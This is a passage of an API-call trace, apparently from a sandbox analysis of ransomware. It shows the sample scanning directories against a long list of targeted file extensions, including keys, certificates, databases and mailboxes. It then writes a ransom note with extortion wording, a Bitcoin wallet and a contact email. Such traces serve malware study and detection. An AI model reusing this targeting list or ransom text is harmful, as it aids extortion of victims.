PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.accdb") returned 0 [0108.445] lstrlenA (lpString="*.accdb") returned 7 [0108.445] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.odb") returned 0 [0108.446] lstrlenA (lpString="*.odb") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.java") returned 0 [0108.446] lstrlenA (lpString="*.java") returned 6 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.asm") returned 0 [0108.446] lstrlenA (lpString="*.asm") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.pfx") returned 0 [0108.446] lstrlenA (lpString="*.pfx") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.pem") returned 0 [0108.446] lstrlenA (lpString="*.pem") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.p12") returned 0 [0108.446] lstrlenA (lpString="*.p12") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.gpg") returned 0 [0108.446] lstrlenA (lpString="*.gpg") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.vsd") returned 0 [0108.446] lstrlenA (lpString="*.vsd") returned 5 [0108.446] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.odg") returned 0 [0108.446] lstrlenA (lpString="*.odg") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.raw") returned 0 [0108.447] lstrlenA (lpString="*.raw") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.nef") returned 0 [0108.447] lstrlenA (lpString="*.nef") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.svg") returned 0 [0108.447] lstrlenA (lpString="*.svg") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.psd") returned 0 [0108.447] lstrlenA (lpString="*.psd") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.vmx") returned 0 [0108.447] lstrlenA (lpString="*.vmx") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.vmdk") returned 0 [0108.447] lstrlenA (lpString="*.vmdk") returned 6 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.vdi") returned 0 [0108.447] lstrlenA (lpString="*.vdi") returned 5 [0108.447] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.lay6") returned 0 [0108.447] lstrlenA (lpString="*.lay6") returned 6 [0108.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mpeg") returned 0 [0108.448] lstrlenA (lpString="*.mpeg") returned 6 [0108.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.djvu") returned 0 [0108.448] lstrlenA (lpString="*.djvu") returned 6 [0108.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.tiff") returned 0 [0108.448] lstrlenA (lpString="*.tiff") returned 6 [0108.448] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.backup") returned 0 [0108.448] lstrlenA (lpString="*.backup") returned 8 [0108.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.pdf") returned 0 [0108.450] lstrlenA (lpString="*.pdf") returned 5 [0108.450] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.cert") returned 0 [0108.450] lstrlenA (lpString="*.cert") returned 6 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.docm") returned 0 [0108.451] lstrlenA (lpString="*.docm") returned 6 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.xlsm") returned 0 [0108.451] lstrlenA (lpString="*.xlsm") returned 6 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.dwg") returned 0 [0108.451] lstrlenA (lpString="*.dwg") returned 5 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.nd") returned 0 [0108.451] lstrlenA (lpString="*.nd") returned 4 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.tlg") returned 0 [0108.451] lstrlenA (lpString="*.tlg") returned 5 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.lgb") returned 0 [0108.451] lstrlenA (lpString="*.lgb") returned 5 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mov") returned 0 [0108.451] lstrlenA (lpString="*.mov") returned 5 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.xdw") returned 0 [0108.451] lstrlenA (lpString="*.xdw") returned 5 [0108.451] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.ods") returned 0 [0108.452] lstrlenA (lpString="*.ods") returned 5 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.wav") returned 0 [0108.452] lstrlenA (lpString="*.wav") returned 5 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.mp3") returned 0 [0108.452] lstrlenA (lpString="*.mp3") returned 5 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.aiff") returned 0 [0108.452] lstrlenA (lpString="*.aiff") returned 6 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.flac") returned 0 [0108.452] lstrlenA (lpString="*.flac") returned 6 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.m4a") returned 0 [0108.452] lstrlenA (lpString="*.m4a") returned 5 [0108.452] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\44d92afadfba0a88c5f2aaba61df444c\\Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", pszSpec="*.csv") returned 0 [0108.452] lstrlenA (lpString="*.csv") returned 5 [0108.452] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae44fb30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xae44fb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae475c90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x5ce00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Diagnostics.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.452] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.453] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b6d9200, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6b6d9200, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6b6d9200, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="45e2c566bf7f63547b438ce71f26b991", cAlternateFileName="45E2C5~1")) returned 1 [0108.453] lstrcmpA (lpString1=".", lpString2="45e2c566bf7f63547b438ce71f26b991") returned -1 [0108.453] lstrcmpA (lpString1="..", lpString2="45e2c566bf7f63547b438ce71f26b991") returned -1 [0108.453] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*") returned="*.*" [0108.453] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\", lpString2="45e2c566bf7f63547b438ce71f26b991" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991" [0108.453] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991") returned 100 [0108.453] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b6d9200, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6b6d9200, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6b6d9200, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.454] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b6d9200, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6b6d9200, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6b6d9200, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.454] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.454] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.454] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b68cf40, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x6b68cf40, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6b6b30a0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x21a000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.Runtime.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.454] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.454] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.ni.dll") returned -1 [0108.454] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.Runtime.ni.dll") returned -1 [0108.454] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.Runtime.ni.dll") returned -1 [0108.454] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\*.*") returned="*.*" [0108.454] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\" [0108.454] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\") returned="" [0108.454] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\HOW TO DECRYPT FILES.txt" [0108.454] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\45e2c566bf7f63547b438ce71f26b991\\how to decrypt files.txt")) returned 0xffffffff [0108.455] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\45e2c566bf7f63547b438ce71f26b991\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.460] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0108.460] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.463] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.463] CloseHandle (hObject=0x90) returned 1 [0108.463] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\", lpString2="Microsoft.Office.BusinessApplications.Runtime.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll" [0108.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.ems") returned 0 [0108.463] lstrlenA (lpString="*.ems") returned 5 [0108.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.db") returned 0 [0108.463] lstrlenA (lpString="*.db") returned 4 [0108.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.dbf") returned 0 [0108.463] lstrlenA (lpString="*.dbf") returned 5 [0108.463] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.myox") returned 0 [0108.463] lstrlenA (lpString="*.myox") returned 6 [0108.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.myo") returned 0 [0108.464] lstrlenA (lpString="*.myo") returned 5 [0108.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbw") returned 0 [0108.464] lstrlenA (lpString="*.qbw") returned 5 [0108.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbb") returned 0 [0108.464] lstrlenA (lpString="*.qbb") returned 5 [0108.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbm") returned 0 [0108.464] lstrlenA (lpString="*.qbm") returned 5 [0108.464] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbo") returned 0 [0108.465] lstrlenA (lpString="*.qbo") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbx") returned 0 [0108.465] lstrlenA (lpString="*.qbx") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qba") returned 0 [0108.465] lstrlenA (lpString="*.qba") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qby") returned 0 [0108.465] lstrlenA (lpString="*.qby") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qbj") returned 0 [0108.465] lstrlenA (lpString="*.qbj") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.ofx") returned 0 [0108.465] lstrlenA (lpString="*.ofx") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.qif") returned 0 [0108.465] lstrlenA (lpString="*.qif") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.mye") returned 0 [0108.465] lstrlenA (lpString="*.mye") returned 5 [0108.465] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.mbox") returned 0 [0108.465] lstrlenA (lpString="*.mbox") returned 6 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.eml") returned 0 [0108.466] lstrlenA (lpString="*.eml") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.pst") returned 0 [0108.466] lstrlenA (lpString="*.pst") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.ost") returned 0 [0108.466] lstrlenA (lpString="*.ost") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.idx") returned 0 [0108.466] lstrlenA (lpString="*.idx") returned 5 [0108.466] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\45e2c566bf7f63547b438ce71f26b991\\Microsoft.Office.BusinessApplications.Runtime.ni.dll", pszSpec="*.dbx") returned 0 [0108.466] lstrlenA (lpString="*.dbx") returned 5 [0108.466] PathMatchSpecA 